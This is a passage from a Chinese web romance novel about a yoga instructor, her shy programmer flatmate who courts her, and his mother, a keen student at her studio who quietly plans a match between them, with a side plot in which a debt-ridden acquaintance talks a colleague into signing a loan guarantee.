胡虹一直说，方宏铭除了附和，就专注手头的柿子。 对了，他在后院的鸟喂食了吗？还有乌龟，后院的花草也该除草施肥了。 胡虹上午回来时，神采奕奕，吃饱喝足睡了一个午觉，等到午觉醒来，不得了了。 腹部酸疼，肩和腿也软，拉扯一下就要命。 方宏铭趁着出去买菜，悄悄打了电话给方寒，诉说胡虹发生的怪异之像，心里担忧得不得了： “你妈一觉醒来，就起不来了，说是肌肉太酸，慢吞吞翻身，像只蜘蛛一样爬下床，龇牙咧嘴的，我害怕极了，她还不让我说话。” “走路就跟我养的那只乌龟一模一样，这可怎么办？” “蹲也蹲不下，坐也坐不好。” “这事闹的，我说别去上课了，她又跟我吵架，把我赶出来了。” 方寒下班赶回去时，正好看到胡虹从沙发上起来。 她趴在沙发上，张开手，一点点僵硬往下爬，一条腿先下，另一条腿再慢慢接着，行动非常缓慢和小心翼翼，头还耸拉着，还不断发出“嘶嘶嘶——”的叫声。 此时如果配上植物大战僵尸的配乐，有一种末日来了，初级丧尸进化的感觉。 “妈？”方寒站在不远处，迟迟没上前，叫得有些迟疑。 胡虹因为腹部太酸疼，双腿也无力打颤，迟迟没站起来，蹲在地上。 听到方寒的声音，她扭头都十分僵硬，一点一点，斜眼看向方寒。 方寒：“” 他身后的方宏铭看到后，抬手扶额，吓死人。 “您没事吧？”方寒问。 “我能有什么事？我这叫练到了，过几天就好了，到时候，我就习惯了！身体会越来越好，”胡虹扶着椅子，五官皱着一团，一节一节站起身，她冷哼一声，指着方寒和方宏铭，“你们这种不锻炼的人，懂什么叫启动肌肉吗？” 方寒默默观察她，确定她不是伤到骨头，慢慢放下心来。 他下班后，也会去健身房，知道锻炼都会酸软几天，慢慢就会好。 饭桌上，胡虹又开始夸瑜伽馆那个小姑娘。 “年纪那么小，就那么努力。” “自立自强，长得又好看，贴心负责，对我可好了。” “还给我擦油，还会按摩呢！” “我要是有个女儿，肯定也这么贴心。” “是是是，早知道就生个女儿，”方宏铭给胡虹夹了块肉，“没关系，还有机会，等小寒娶了媳妇，找个好姑娘，我们就有女儿了。” “我让他去见人家小姑娘，他都不去的。”胡虹重重哼一声，“他一点都不听话！” 方宏铭看向方寒：“你为什么不去？你妈都喜欢，万一你也喜欢。” 方寒端着碗，小口吃饭，面不改色淡淡道：“真要按照她说的，我一个星期要去见几个？忙得过来吗？” “你！”胡虹瞪眼，简直气急了，“这个不一样！” “您上次也是这么说的，这才隔了几天？”方寒抬眸看向她，“我的事，您就别操心了。” 胡虹：“那不是怕你一大把年纪都没谈过恋爱，以后人家小姑娘嫌弃吗？你都几岁了？三十一过，小姑娘都看不上你了！” “而且你还不锻炼，没有你妈我能吃苦，我锻炼的时候很疼很累，我都忍下来了！你们都没有！” 高雯下班后，在小区碰到了跑步的方寒。 他穿着一身休闲装，戴着耳机，额前的碎发带着细碎的汗珠，微微有些喘气。 “学长，今天不去健身房吗？”高雯问。 “没，回了趟家，吃得有点多，回来跑步消消食。”方寒取下耳机，跟在她身后往单元楼走。 胡虹说的话一直在方寒耳边环绕。 他是要好好锻炼，高雯很自律上进，就连他妈都那么吃得了苦，他不能太过安逸。 “回家吃什么好吃的了？”高雯迟疑问。 “羊肉。”方寒如实回，“昨天回去没吃成，今天回去陪父母吃了顿饭。” 父母？ 高雯拿门禁卡的动作一滞。 方寒不是孤儿吗？ 从很小跟着四个老人长大，很命苦，可能比她还惨。 第37章 第37章 这可是她看上的儿媳妇！…… 高雯和方寒一起回到出租屋。 客厅的餐桌上放了一盒柿子饼, 方寒说是他爸做的，带过来给大家尝尝。 高雯很给面子吃了半个。 她吃柿子饼的时候，思绪有些游神, 看向方寒的时候都有些羞窘。 得亏她不喜欢打听别人家境, 不会细问一些问题。 不然多尴尬。 方寒的父母尚在，她却理解成人家父母双亡。 可能是他父母外出打工, 所以才没时间照看他，导致他小时候只能由四个老人照看长大？ 这真是一个美丽的误会。 “叔叔做的柿子饼很好吃。”高雯说。 “他退休了，闲来无事, 就喜欢折腾这些。”方寒笑，紧接着道, “我小的时候，和他们聚少离多, 他们退休了才回来。” 方宏铭年轻时, 都在外派。 多少有些愧疚想要弥补的心理, 他几乎很少出门，都是待在家里, 打理着角角落落。 可能是因为年轻时工作太忙, 方宏铭如今喜欢种花花草草，养鸟喂鱼, 享受休闲自在的生活。 方寒的话, 证实了高雯的猜想，她点了点头，吃掉最后一小块柿饼。 * 高雯最近早上都起得很早。 胡虹到瑜伽馆的时候, 她就已经泡好茶，铺好垫子做好清洁，等她来上课了。 “阿姨, 早上好。”高雯笑容明媚，带着满满活力，还关切问，“您肩上和腿上的瘀青消了吗？” “好多了，但拉扯还疼。”胡虹说完抬手强调，“我一抬手，就疼了。” “过几天就好了。”高雯把辅具拿到一边，含笑对胡虹道，“我们上课了。” 胡虹看着这个言笑晏晏的小姑娘，身子颤了颤。 别看高雯现在温温柔柔的样子，一到了上课，就是魔鬼，一点水都不放，说什么都不搭理，就是一门心思折腾她。 小小年纪，那么严厉。 胡虹很怕高雯，但高雯总有办法能把她哄来。 每节课，胡虹就是在各种夸赞中，被高雯回揉搓一遍，“榨干”胡虹剩下最后一口气，留着拍照。 无论上课多么辛苦，多么狼狈，下课总有美图能发朋友圈，还是精修过的美图。 胡虹欣赏着图片中的自己，顿时就觉得上课的辛苦算什么呢？ 什么都不算！ 她多棒多厉害啊！ 胡虹看着给自己擦药油的高雯，抿唇笑得慈爱，感慨道：“雯雯，你真是一个好姑娘，谁要是娶了你，那得是多少辈子修来的福气啊。” 闻言，高雯眼底微微闪烁，没有接话。 是福气吗？ 她这么功利又世俗，做事目的性强，从未把爱情列入自己的择偶标准。 谁娶了她，怎么会幸福呢？ 自从知道所谓的“剧情”，高雯就断了功利择偶的念想。她这种人，一直单身，才是对别人的保护。而且，她现在靠自己，也能过得很好很充实。 “你要擦亮眼睛，找一个好的男孩子，家境好一点，人品好一点，有能力一点，能照顾你，这样的话，你就会过得没压力，日子舒心幸福。”胡虹回头看高雯，强调说道，“现在年轻人生存压力很大，经济条件不能忽视！” 高雯诧异于从胡虹口中听到这些话。 接触这么多天来，她觉得胡虹是个单纯没有烦恼的阿姨，日子过得舒心幸福，应该不会过多考虑世俗的因素。 拜金，物质。 似乎是个贬义词。 这本中对高雯描写，还有贪慕虚荣、冷血无情、自私自利 “你谈恋爱了吗？”胡虹又问。 高雯轻轻摇头。 没打算谈。 “可不要被那些就会说漂亮话的男人骗了！现在那些男人很狡猾，专门哄骗你们这种长得漂亮的女孩子，你性格太好太温柔善良，很容易就被哄骗的！” 胡虹对高雯的评价太好，让她都笑了：“阿姨，您把我想得太好了。” 她怎么可能这么好。 她可是文中有名的恶毒女配。 胡虹丝毫不犹豫道：“你本来就这么好！” 高雯还想说什么，前台小姑娘就探出头提醒：“雯雯老师 ，小课会员来齐了，要开始上课了。” “好。”高雯站起身，柔声道，“阿姨，我先去上课，明天见。” “明天见，拜拜——” 高雯离开后，胡虹还缓了好一会，这才走出去。 张妮和林思悦几人正在聊天，看到胡虹来了，热情打招呼。 林思悦还竖起大拇指不断道：“阿姨，您真是太厉害了，我们都不敢上雯雯老师的私教，您天天来。” “没错，我们都不如您，实在惭愧啊。”张妮也接话。 胡虹浑身的酸痛，在听到这些话后，直接好了大半，摆摆手道：“其实还好，雯雯很温柔的，我能忍受！” 实际上，她每天起床到来瑜伽馆的路上，都要做很长时间的心理建设。 想着偶尔都会湿了眼眶，又不敢拒绝高雯。 上课时的高雯，很不好讲话。 她说什么，对方大多数都是“已听不回”。 “太厉害了阿姨！”林思悦几人都这么说。 胡虹被夸得晕乎乎，捧着茶，留下来多聊了好一会。 提及她的儿子，她表示：“老大不小了，都没谈过恋爱，我都担心以后被嫌弃，说也不听，不知道要找什么样的。” “您就别操心了，年轻人有自己的打算，过早结婚又不是什么好事，您看看我，现在都后悔呢。”张妮说。 “一晃要三十了！”胡虹说，“我们这么大的时候，都生他了！” 闻言，几人笑哈哈。 几人正聊着，又有一个阿姨凑过来，说了两句话，就开始打听：“雯雯老师谈恋爱了吗？有没有男朋友？” 胡虹一听，警铃大起。 这可是她看上的儿媳妇！ “没有，雯雯老师不打算谈恋爱，楼上和隔壁的公司都有几个小伙子要加她微信，都被拒绝了。”张妮笑着又补充，“好几个阿姨都说要给她介绍，她没那个心思。” 高雯长得出众，那张脸是稀缺品，隔三差五就有阿姨要来给她介绍对象，张妮都习惯帮她抵挡了。 “这样啊。”那个阿姨带着失落走了。 张妮和林思悦在随口讨论这个月第几个阿姨要给高雯介绍对象了，一个个比一个热情。 胡虹望着那个阿姨离去背影，没多久离开。 出门后，她给方寒发了消息，告知他自己已经早起去锻炼回来了，并且还道：【你已经不年轻了，要是不好好锻炼，身体健康是问题！】 随后，给方寒转发了好几个帖子，都是关于程序员掉发植发的悲剧，还有腰椎间盘突出需要做手术。 方寒正在吃早餐，看到这些消息，眼前一黑。 胡虹最后还道：【我估计那个小姑娘看不上你，人家很抢手，想要追求她的小伙子多得不行，对此我真的痛心。】 方寒快速回：【那真是遗憾，希望她能找到满意的，祝她幸福。】 胡虹的本意是想让方寒多上心，或者可以主动追求。 方寒这阴阳怪气的话，把胡虹气得心都要一梗。 胡虹回去的路上都在气呼呼，那些老阿姨懂什么？一看就是势利的模样，多半都把高雯当成某种资源拿去介绍，打着一肚子坏算盘。 那么好的女孩子，必须要找到顶好的人家。家境要好，男生人品要好，父母也得好。 不行，这事她得管！ 儿子不努力，老妈得给力！ * 晚间。 高雯下课后，等她出来时，就只剩前台小姑娘在打扫卫生。 “雯雯姐，今天又有三个阿姨报了你的私教。”前台小姑娘把会员表给她。 高雯走过去，将手机放在一边，拿过表看，她抿了抿唇，“下次让她们少报点，时间排不开。” “好。”前台小姑娘笑。 别的老师都是希望多报点，高雯的确是时间排不开，早上六点都有阿姨来上课。 高雯将报名表收起来，看向前台小姑娘道，“太晚的话，你就不用等我了，打扫有扫地机，我再关门。” “会员还在，馆里不能没人。”前台小姑娘很实诚。 高雯：“你把门关上，等我下课我再去开，没事的，早点回家休息。” 前台小姑娘摸了摸鼻尖，有些感动，她低头看到高雯放在一边的手机，“雯雯姐，你这个手机多少钱？我也想买一个。” “这个啊，”高雯看了眼自己的手机，拿着保温杯去接水，随口接话道，“一个朋友的公司同事卖的，四千块。” “怎么可能才四千块？我这几天到处转了，这个手机要六千多，紫色之前得加五百，现在都要加八百了，很缺货，都要预定。”前台小姑娘接话。 高雯接水的动作一滞，看向自己的手机。 “不太可能呀，就算二手，这个手机都很保值，二手机都得五千多呢。”前台小姑娘又嘀咕。 “朋友说是他们公司的奖品，他们用不到，就出售了。”高雯笑着说。 前台小姑娘没多想，一脸羡慕道：“那真是捡漏了，真好！” “是啊。”高雯说着，眼底深思看向那个手机 十点后的商场，行人渐渐少了。 方寒一身休闲装，背着黑色的书包，站在花丛边，时不时看向一个方向，迟迟没见高雯的身影。 “啪——”他的肩膀被人拍了一下。 方寒下意识拧眉转身，瞧见眼前出现的那张娇俏动人的脸，眉头倏然绽开，唇角还染上淡淡笑意。 “等久了吧？”高雯问。 “没，刚从健身房出来。”方寒上翘的嘴角未消…… 以前，他只是隔三差五去健身房，现在是早上跑步，晚上去健身房。 恨不得一天去三次。 胡虹的话给他带来了不少危机感。 高雯早睡早起，自律锻炼，他怎么能堕落！ 两人并肩往马路边走，过斑马线时，方寒绕到了高雯的右边，挡在她前面。 等过了马路，两人沿着人行道，慢慢往回走，有一搭没一搭地聊天。 冷不丁，高雯突然从书包里拿出一个东西，递给方寒。 看到礼盒时，方寒心下一紧，一时没敢接，还有点惊喜过头。 “送你的。”高雯把礼盒塞到他怀里，往前走了两步，轻描淡写道，“馆里的奖品，反正我用不到，就给你了。” 方寒打开一看，是一块新上市的运动手表。 他还没来得及高兴，眼底就露出忐忑，连忙跟上去问：“你们馆里的什么奖品？” 她们是瑜伽馆，全都是女会员，奖品怎么可能会有男生戴的运动手表？ 高雯手里把玩着她的手机：“你说是什么奖品，就是什么奖品，”她说完，乌黑清亮的眸子，慢悠悠看向方寒。 “”方寒实在不擅长在她面前说谎，更加慌张起来。 高雯一看过来，他就很心虚，掌中的手表都让他觉得有些烫手，主动交代：“你都知道了？” “嗯哼？”高雯微微歪了歪头，似笑非笑看着他。 方寒背后狂冒冷汗，小心翼翼观察她的脸色，唯恐她生气，结结巴巴道：“我——我——” 高雯上前一步，走到他面前，微扬下巴，眼眸极亮盯着他，态度认真道：“下次不要做这种事情，你的钱也不是大风刮来的。” 方寒：“也不是什么大事。” “那更应该如实相告，”高雯话语清脆，神色淡定又从容， “虽然我知道你并没有看不起我的意思，只是想帮帮我，以后可以不用这么做。我现在工资很高，还有馆里的分红，每天那么忙，钱都花不完。” 从她口中说出这些话，自信又可爱。 “嗯，”方寒点头，语气真诚又歉意，“请你原谅我，下一次不会了。” 高雯看了看他手中的运动手表：“你收下这个，我们一笔勾销。” “好。”方寒握紧了手中的手表，眼底染上笑意。 高雯了却一桩心事，她笑意盈盈转身，步伐轻快往前走。 瞧见一个大石头，轻轻踢着往前赶。 * 市中心的咖啡厅。 林思悦态度有些迟疑看着姜舒妍：“舒妍姐，这个合同没问题吗？” “能有什么问题？我考察过了，是个很可靠的加盟店，就是缺点周转资金，你还不信我吗？等开了之后，我和你一起在网上做引流，肯定能赚钱，”姜舒妍自信满满，“到时候，会给你一定比例的分红。” “也不是，我就是问问。”林思悦摇头。 “之前让你借出来的那几笔钱，我都还进去了，这一次更不会有任何问题。”姜舒妍说得笃定，“我还能害你啊。” 林思悦放下戒心：“舒妍姐，我相信你的。” 她说着，快速在担保合同上签了字，—— 作者有话说：下午六点二更哦。 第38章 第38章 那个给你送粥的阿姨？…… 姜舒妍看着林思悦毫无戒心签下名字的时候, 心里松了一口气，又有些害怕愧疚。 她没办法，真的没办法了。 窟窿越来越大, 之前让林思悦帮她借出的那笔钱, 很快就周转不过来。 由奢入俭难，她完全习惯了奢靡生活, 享受上等服务，接受别人的羡慕，消费高昂无法抑制。 如果没有更多钱, 她的债务立刻暴雷，所有人都会知道她欠了很多钱, 名誉扫地。 只能铤而走险，先把林思悦之前的几笔钱还上, 再让林思悦担保出更多钱。 在这期间, 姜舒妍想着投资项目逆风翻盘, 到时候，就什么事都没了。 姜舒妍把合同收好, 语气拜托道：“思悦, 这事没办成之前，你跟谁都不要说, 我也怕承受压力。” “舒妍姐, 我知道的，”林思悦点头，“你放心大胆去做吧, 我等你好消息。现在市场逐渐回暖，我觉得还挺容易成功，我们馆的业绩增长比例很大, 都忙不过来。” 林思悦第一份正儿八经的工作，就误打误撞来了语禾瑜伽馆，又因和张妮联合拍摄高雯视频爆火，徐眉给出的分红和薪资诚意十足。 她压根没吃过外头的苦，收入很是可观。 姜舒妍听林思悦眉眼飞扬说着自己的近况和对未来的展望，三句话不离对高雯的欣赏崇拜和喜欢。 她想到最近又在林珩手机上看到他每天浏览高雯视频号的记录，放在桌子下的手紧紧握着，刚刚升起的愧疚消散得丁点不剩。 高雯凭什么步步高升？ 而她，每天都焦虑得要靠安眠药入睡？！这不是她应该拿的剧本！ * 胡虹比高雯想得更有毅力一点。 她每天都会坚持来上课。 而且，她还给高雯带了粥。 “阿姨，我吃完早餐才来的。”高雯神色间有点不知所措。 对于这么暖心的行为，她不知道如何回馈，从小到大，她缺乏和长辈相处的经验。 “你吃了什么？”胡虹问。 高雯：“米糊。” 她起得早，一般是一杯温水加半碗米糊或者麦片，因为这样很方便。 “那个东西没什么营养，你起得早，一会就饿了，”胡虹将保温瓶放在一边，主动走过去坐在瑜伽垫上，“我们家今天煮的是雪梨银耳燕麦粥，你要上那么多节课，多吃雪梨下火的，对身体好。” “我给你放旁边，你一会下课再吃。” 实际上，这粥是胡虹吩咐方宏铭一大早起来专门煮的。 高雯看着不远处的保温瓶，内心有些说不出的感觉，眼底泛起一阵阵波澜。 她想到了方寒。 前几次，她情绪不太稳定的时候，又或者她太过于辛苦，他总是会找机会，给她煮点养生粥，泡养生茶。 他心思细腻又真诚善良，就像这个阿姨一样，是很好的人。 她何其幸运，能做的事，就是尽可能帮对方调理好身体。 “来吧，上课了。”高雯收敛神色，拿着狼牙棒，对着胡虹笑着说。 那个笑，一点都不温 柔，胡虹心里颤颤，两个人之间的和谐气氛顿时消失得无影无踪。 每次下课，胡虹都要缓一会。 她现在和瑜伽馆里的人混得熟了，反正明天也要来，就不着急回去，都得和她们聊聊天。 胡虹发现，大部分的人都会上小课，五个人一起上，人多热闹，而且还不用一个人受苦。 她想要报小课，希望和大家一起上课。 前台小姑娘没有立马给她报名，而是道：“阿姨，您得问问雯雯老师。” 正逢高雯下课，她走出来，得知胡虹要上小班课，拒绝了她报班的要求，用她的话来说：“阿姨，您现在基础还没打好，上小课的话，我照顾不到你，而且你的腰，还需要上一段时间课巩固，小课不能针对性训练。” “可是，我想和这两个小姑娘一起上课。”胡虹指了指林思悦和张妮，“我和她们处得好，想要和她们一起玩。” 高雯合上水杯，看了眼林思悦和张妮，抿唇缓缓出口道：“这就对了，她们两个人是有名的‘偷奸耍滑二人组’，加上您，就是三个。” 相似的人，总是比较容易相互吸引。 前台小姑娘没忍住，扑哧笑了一声。 “偷奸耍滑二人组”相互对视，没有出声反驳，反而尴尬假笑。 谁让高雯说对了呢？ 她们两个人的体态能有极大改善，全靠高雯费心费力，一个不留神，立马偷懒。 张妮还兴奋道：“阿姨，等过段时间，我们就把您拉进来。” “好好好——”胡虹笑得直点头。 高雯正在填写会员资料，听到三人的话，笑得无奈直摇头。 中午。 馆内难得安静。 方寒一般会在这时候给高雯发消息。 表面是讨论工作细节，实际上，也是借机和她聊聊天。 方寒：【吃饭了吗？】 高雯：【在吃。】 方寒：【减脂餐？】 高雯：【图片】 高雯发来的图片上，是一碗粥，方寒一眼就看出来了，这不是雪梨银耳燕麦粥吗？她怎么突然吃这个？ 高雯小口小口吃着，打着字：【一个阿姨给我送的，我都吃两顿了，估计下午还能吃一顿。】 方寒看着这行字，又打开那张照片，放大细细看。 方寒：【早上上课的私教阿姨？】 高雯：【嗯嗯，特别好的一个人。粥也挺好喝，说是雪梨降火，很贴心。】 方寒和高雯相处的时间本来就少，原本早上能一起吃顿早餐，自从她早上有了私教课，每天都急匆匆，两个人就没吃过早餐。 一个阿姨，对她这么关心？ 早上这么早就起来煮粥？专门给她送？ 不对劲。 方寒在高雯面前，素来保持着界限和分寸感，他并未多说，而是自然把话题引到了工作上，高雯主动给他打了视频。 她想趁空闲的时间，一点点处理APP的事情，要不是方寒负责，她还得专门抽出时间沟通，她没那么多时间。 还好是他，所以方寒联系她的时候，她都挺开心的。 * 鉴于胡虹说方寒不孝顺。 方寒这几天下班都会回家一趟，他看着乐呵呵，正在院子里哼歌的胡虹，看向方宏铭眼底询问。 “她这几天开心得很，每天都往瑜伽馆跑，去和里面的小姑娘一起聊天上课，回来还要锻炼，让我拍照给老师发，”方宏铭说着，悄悄靠近方寒，“对了，这一次有个小姑娘，你妈很上心，我跟你说——” “叽叽咕咕说什么呢？”胡虹见他们父子在说悄悄话，双手一叉腰，眯着眼看过来。 方宏铭立刻闭嘴。 胡虹走过来，警告他道：“你不要和儿子胡言乱语！” 破坏她计划！ 方宏铭赶紧道：“我什么都没说，我什么都不知道。” 胡虹满意了，看向方寒：“你最近有锻炼吗？” “嗯。”方寒点头。 “那你肯定没有我努力，”胡虹微微抬起下巴，语气傲娇，“我每天都很疼很累，流很多汗，天都没亮我就起来去锻炼了，每天都很坚持，从来没想过放弃。” “我全身都练到了。” “妈，您真厉害，太佩服了。”方寒说得很诚恳，随即把话题引到方宏铭身上，“您让爸也锻炼锻炼，保持身体健康，长命百岁。” 方宏铭没想到话题一下往自己身上引，瞳孔一震。 儿子不愧是漏风小夹克！ 胡虹上下打量方宏铭，哼了一声。 “我去做饭。”方宏铭趁机溜了，进厨房前，还不忘问方寒，“你想吃什么？爸现在做饭。” “不用了，我要回去了。”方寒打算晚上少吃点，再说，他可不想打扰两人的二人世界，“我回去忙了。” “记得锻炼，保持好的身材！”胡虹在方寒身后不断叮嘱，“不然老得很快，小姑娘都不喜欢了。” 因为这句强调，方寒回去后，在小区多跑了两公里。 等他回去时，高雯已经洗好澡，出来接水喝。 “学长，你真勤快。”高雯毫不吝啬她的夸奖，竖起大拇指。 “跑步比较缓解压力。” 这是方寒这段时间的感受。 “这样啊。”高雯坐下来，慢悠悠喝水，她拿着手机，一边回消息一边笑。 方寒本来要回房，看到她这个样子，停住了脚步，也拿出自己的杯子在接水喝。 高雯对着手机发了句语音：“阿姨，您这个姿势很标准。您的腰不好，记得不要塌腰，把肚子吸薄，记得擦药，明天见。” 方寒坐在她对面，慢慢喝水，像是随口道：“会员这么晚还找你啊？” “恩呢，”高雯把手机放在一边，笑着道，“她晚上吃完饭的时候给我发消息，我回来才有空回她。” “那个给你送粥的阿姨？”方寒猜。 高雯喝着水点头：“对，她今天还给我发了她家菜谱，让我去她家吃饭，”她说着很无奈，“热情得我都不知道怎么回应了。” 方寒握着杯子的手收了收：“她家里是没有小孩陪她吃饭吗？” 他平常不关注这个，打探的时候还有些忐忑紧张。 “有个儿子，好像二十多岁了，估计不在身边吧，就是个热心善良的阿姨。”高雯说着打了哈欠，困意袭来，站起身对方寒道，“学长，我要去睡了，晚安。” “晚安。” 方寒看着高雯关闭的房门，眼底情绪复杂。 真的仅仅是因为热心吗？ 方寒又一夜难眠了—— 作者有话说：方寒：谁都和我抢老婆！！！ 第39章 第39章 我很相信你的。 一连几天, 方寒在中午联系高雯的时候，她都很忙。 甚至忙到和他打字多说几句的时间都没有。 高雯通常会压低声音，给方寒悄悄发一句语音, 她要去上课了。 她晚上回来很晚, 以前回来会在护肤时直播，和粉丝聊聊天, 最近都改成回去路上就开始直播了。 争取一切可能利用的时间，完成计划内的事情。 这一向是高雯的风格。 方寒在办公室加班，手机提示高雯正在开直播, 他停下手中的动作，打开了直播。 手机屏幕里出现高雯那张精巧白皙的面容, 她正在慢悠悠走在路上，看着弹幕里的评论, 她轻声道：“今天回家的确有点晚, 因为排课多, 也没办法。”她说着轻声咳嗽两下，清了清嗓音, “最近天有点凉了, 走在路上有点冷，我得快点回去。” 方寒听到手机里传来的咳嗽声, 眉头拧了拧。 他第一时间关了电脑, 也起身回去。 进电梯时，手机没信号，等方寒出来后, 再打开手机，高雯那边已经显示下直播了。 才刚开播就下直播了？ 方寒回去的脚步变快，心里有些着急。 一路匆匆赶回去, 方寒打开门，发现高雯的房间的灯都没打开，她还没回来？ 可她刚刚都在路上了，方寒脑海里，顿时想了很多很多，他越想后背越发冷，拿出手机，就给高雯发了消息。 她没回。 方寒更心慌了，思考两秒，连微信语音都没打，直接打了电话。 那一头没接。 方寒忐忑不安，转身又往门口走，一打开门，就碰到门口正要开门的高雯。 “学长？”高雯走进来问，“你打我电话有事吗？” “我想问你什么时候回来，项目那边有点细节要沟通。”方寒退了一步，关上门。 “我今晚不能和你沟通了。”高雯拖着脚步走进来，坐在沙发上，柳眉蹙着，脸色有些憔悴。 “你怎么了？”方寒走到她身边。 高雯把包放在一边，揉着自己的头：“我都走到小区，才发现钥匙不见了，在馆里的时候还看到，所以就返回去找。” “可能是找得太急，有点吹风了，头疼。” 估计和她今天太累有关系，来了个会员，没睡午觉，下午到晚上接连上课，身体不太舒服。 听言，方寒面露担忧，走到一边给她倒了杯水：“要不早点睡吧？” “我缓缓。”高雯咳嗽了两声，一脸疲倦，接过方寒倒的水喝了两口，就要放在一边。 “多喝点，润润嗓子，你说话声音都哑了。”方寒温声劝她。 高雯举起来喝了一口，她摇头放在一边：“我喝不下了。” 可能是身体难受，没有味道的温水让她觉得没胃口。 高雯只感觉脑袋突突突发疼，就像无数根银针往她里面戳，身子又累又软，喉咙干疼，她连起床去洗澡的力气都没有，又不想累了一天就往床上倒，只能先睡在客厅沙发上。 她戒备心很强，躺了一会就要睁开眼，身子一直紧绷着。 方寒坐在一边看着她，轻声出口道：“我还有点事要在客厅处理，你先睡吧，一会我叫你。” “咳咳咳——”高雯的眉头一下舒展，“谢谢学长，一会你叫醒我，我缓一下。” 到底是合租，高雯不放心。 但方寒在身边，她感觉莫名安心。 “嗯。”方寒回。 高雯应当是累极了，话音刚落就感觉到她呼吸逐渐均匀，方寒坐着看了她好一会，期间用手机下了个单。 等她熟睡，方寒回房，从柜子里拿出一条干净的毛毯，放缓脚步走到她身边，他打开毛毯，轻轻盖在她身上。 高雯的手险些要从沙发上滑落，方寒连忙伸手接住。 她的肌肤细腻，带着柔软，触碰间，宛如一道电流飞速席卷全身，让他耳尖发烫。 他把她的手，慢慢放回毛毯里。 门外传来动静。 许菲开门回来了。 方寒起身，冲她做了“嘘声”动作，很是着急拜托。 许菲当下就挂了正在拨打的电话，看到睡在沙发上的高雯，她笑着看向方寒，走过去压低声音道：“怕我吵醒你亲亲学妹啊？” 方寒无奈，但没否认。 许菲看着盖毛毯熟睡的高雯，又看向方寒，继续小声调侃道：“你怎么还没把人追到手？这要是追到手了，还用在这里睡？那不是就去你房间了？” 方寒沉声道：“她身体不太舒服。” 这么一说，许菲止了声，放低声音回了房。 方寒的视线又落在高雯身上，可能因为难受，她睡得不太舒服，被子里的手又被她抬起来，轻轻敲了敲额头。 见此，方寒再一次折回房内，拿出一瓶油。 他来到高雯身边，俯身将她的手从额头拿开，指尖沾了油，在她的太阳穴和额头的位置擦拭。 两人离得太近，方寒呼吸都屏住了。 他看着高雯近在咫尺的面容，心如擂鼓，视线落在她的鼻尖上，想了好一会，又取了点油，沾沾在她的鼻尖下的人中穴。 这样会舒服一点。 就在方寒给高雯擦油的时候，她炽热的呼吸仿佛要灼伤他的手。 方寒条件反射缩回手，脸上发热快速站起来，拿着油往房间走。 他走到洗手间，冷静了一会。 再次出来，是手机提示外卖员快了， 方寒为了不吵醒高雯，他提前出了门，在电梯口等着，领着外卖回来就进了厨房。 高雯睡得不太安稳，一连做了好几个奇奇怪怪的梦。 一梦到所谓前世的事情，她的心跳就加速，强迫自己醒来，生怕再次陷入绝境。 她还未睁眼，率先闻到一股飘香。 高雯看到自己躺在沙发上时，脑子还有点迟钝，没缓过来，眸里泛着一丝迷茫，瞧见厨房那一抹身影，心一下安稳下来。 是方寒啊。 高雯看了看身上盖着的毛毯，拿起来闻了闻，是一股淡淡清爽的气味。 像他这个人。 方寒无意回头，看到高雯醒了，他打开推拉门，从厨房里走出来问：“好点了吗？” “嗯。”高雯慢慢坐起来，她嗅到自己身上的油味，疑惑道，“学长，你给我擦油了吗？” 方寒眼神闪躲，打开锅盖假装很是忙碌的样子：“嗯，看你头疼，给你擦了点。” “谢谢，我好多了。”高雯慢慢把被子叠好，放在一边。 方寒端着碗出来放在餐桌上，看向高雯：“吃点东西？” “现在都多少点了？”高雯下意识看向手机时间。 她晚上吃东西会严格控制。 方寒漆黑深邃的眸光带着认真看向她，缓缓道：“人在感觉身体不舒服的时候，应该多进食进补，身体比什么都重要。多吃东西，身体才有力气对抗。” 高雯被他说服：“好吧。” 方寒笑，又进厨房盛了碗白粥。 高雯坐下后，他把白粥放在她面前：“吃不完没关系，主要是怕汤有些腻，解解腻。” “什么汤啊？”高雯问。 方寒笑着卖了关子：“你猜？” “我从不做饭，又猜不到，”高雯嘴上这么说，还是很配合，她拿着勺子，看着碗里的汤，“排骨、陈皮、白萝卜，这是什么？” 她抬头，清凉的眸子看向方寒，带着好奇。 “青橄榄。”方寒含笑回。 “青橄榄煲汤，没吃过，这是你今天研发的新品吗？”高雯说着，喝了一口，眼底一亮夸道，“好喝，很清甜入口。” 喉咙都舒服了。 “有点回甘，”高雯眉眼弯弯笑道，“我喜欢。” 方寒在她喝完一碗后，又给她盛了一碗。 “你今天煲了这么多啊？现在有剩呢？” 高雯说着伸手要接过碗，她睡着了，压根不知道方寒专门煮的，以往他都在她回来前就做好饭了，时常一个人吃，她只当他热爱生活。 方寒没松手，坚持放在她面前，并未多解释：“嗯。” “我算有口福了。”高雯笑着说。 两碗汤和半碗粥下肚，高雯精神都好了不少，她要把碗拿到厨房，方寒伸手接过来，“我来吧。” 高雯：“那我多不好意思。” “没关系，你不会用洗碗机。”方寒说。 “可以学啊，很简单吧？” “改天教你。”方寒说着，三两下已经把碗筷收拾进厨房了。 高雯看着时间，都快十二点了。 她刚刚睡了好一会，应该不算熬夜吧？ 方寒走出来时，高雯还坐在沙发上，比起刚刚憔悴的脸色，如今她的脸上有了些血色。 她拿过包，低头在自己的钥匙圈上取钥匙：“学长，我要请你帮个忙。” “嗯。”方寒坐在她旁边，毫不犹豫答应。 “呐，”高雯把取下的钥匙递给他，“我想请你帮我保管一把钥匙，这要是丢了，怪麻烦，都进不来。” 方寒看着她伸过来的钥匙，迟疑了一下，没有立刻接。 他来保管？ “我很相信你的。”高雯笑着把钥匙塞到他手里，“谢谢你的汤，我要去洗漱休息了，等我忙完这段时间，再请你吃饭。” 高雯说着，往房门走。 走到门口时，她才想起一件事，抬手拍了拍额头，转身看方寒。 他还维持着刚刚的动作，手心的钥匙都没收回来。 高雯小跑走过来，伸手从方寒手心又把钥匙拿回去：“我给忘了。” 方寒看着她用钥匙打开门，随后折回来，再一次把钥匙放在他手心：“拜托啦，晚安，明天见。” “明天见”属于顺口。 她和每一个会员都这么说。 方寒在高雯关门后，低头看手心里的钥匙，心神涌动。 她说，她很相信他。 深夜。 方寒依靠在床边，看着手心里的钥匙，有些出神。 “叮——”他的手机收到消息。 方寒思绪被打断，眉头微微拧起。 大半夜了。 他拿起手机，见是顾书杰发来的消息。 一看是工作，薄唇抿得更紧。 顾书杰：【忘记跟你说了，下周一的项目设计评审会，你让那个雯雯来参加，她正在附近上班，来公司也方便。尽量让她多参与线下沟通，来公司的时候你们多和她面对面交流。】 方寒眉目舒展，唇角甚至不自觉泛起一抹极浅的弧度，快速回：【好】—— 